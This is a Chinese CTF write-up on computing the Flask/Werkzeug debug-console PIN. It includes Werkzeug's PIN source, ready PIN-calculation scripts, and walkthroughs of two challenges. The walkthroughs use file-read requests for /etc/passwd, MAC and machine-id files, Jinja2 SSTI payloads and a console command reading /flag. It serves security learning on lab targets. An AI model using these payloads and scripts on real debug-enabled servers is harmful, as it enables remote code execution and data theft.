什么是PIN码
pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式
如何生成
这里就列一个了,前面全是获取值,最后进行加密,版本不同区别也就就是3.6与3.8的MD5加密和sha1加密不同
#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
_machine_id: t.Optional[t.Union[str, bytes]] = None
#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
#读取文件进行拼接
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
#继续进行拼接,这里处理一下只要/docker后的东西
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg
try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: t.Union[str, bytes]
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")
if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")
return guid
except OSError:
pass
return None
_machine_id = _generate()
return _machine_id
class _ConsoleFrame:
"""Helper class so that we can reuse the frame console code for the
standalone console.
"""
def __init__(self, namespace: t.Dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
PIN生成要素
- 1. username,用户名
- 2. modname,默认值为flask.app
- 3. appname,默认值为Flask
- 4. moddir,flask库下app.py的绝对路径
- 5. uuidnode,当前网络的mac地址的十进制数
- 6. machine_id,docker机器id
username
通过getpass.getuser()读取,通过文件读取/etc/passwd
modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir
当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
machine_id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取
/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
PIN生成脚本
官方是通过系统命令获取相对应的值,我们采用读文件获取值后放到脚本(也就是官方加密的方法)里进行加密,3.6采用MD5加密,3.8采用sha1加密,所以脚本稍有不同
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
CTFSHOW 801
按照顺序一个一个拿数据,username为root,modname和appname默认
/file?filename=/etc/passwd
file?filename=
通过提示直接报错拿到app的绝对路径
/file?filename=/sys/class/net/eth0/address
拿到uuidnode为2485377582164
最后拿id
file?filename=/proc/sys/kernel/random/boot_idfile?filename=/proc/self/cgroup
拼接的id为653dc458-4634-42b1-9a7a-b22a082e1fce82a63bb7ecca608814cba20ea8f8b92fc00dcbe97347ba1bfc4ccb6ff47ce7dc,扔到3.8脚本中跑得到143-510-975,找到console,输入密码
最后输入命令拿到flag
import osos.popen('cat /flag').read()
[GYCTF2020]FlaskApp
一个编码一个解码还有一个hint提示,这个hint提示失败乃成功之母,右键源代码又发现<!-- PIN --->
,尝试/console
页面也发现需要pin密码,到这里可以猜到要利用Flask的Debug模式,在decode页面随意输入值发现报错
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
这里通过render_template_string
造成ssti注入,那么很容易想到通过ssti命令读取各个文件拿到相应的数据最后算出PIN
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('文件名','r').read() }}{% endif %}{% endfor %}
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('文件名').read()}}
读取/etc/passwd获取username
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9ldGMvcGFzc3dkJykucmVhZCgpfX0=
modname和appname仍为固定值flask.app、Flask,通过前面的报错也知道了app.py的绝对路径
/usr/local/lib/python3.7/site-packages/flask/app.py
继续找mac值
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}
e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9zeXMvY2xhc3MvbmV0L2V0aDAvYWRkcmVzcycpLnJlYWQoKX19
mac地址转换为十进制后:226745935931860,最后找机器id,这里挺迷惑的,看教程大家都是找到/proc/self/cgroup
里了,我这里找这个文件却成这样了
最后通过/etc/machine-id
拿到1408f836b0ca514d796cbf8960e45fa1后通过脚本跑出145-284-488,在console页面(也可以这样进入)
拿到flag
以上就是Flask框架实现debug模式下计算pin码的详细内容,更多关于Flask debug计算pin码的资料请关注编程网其它相关文章!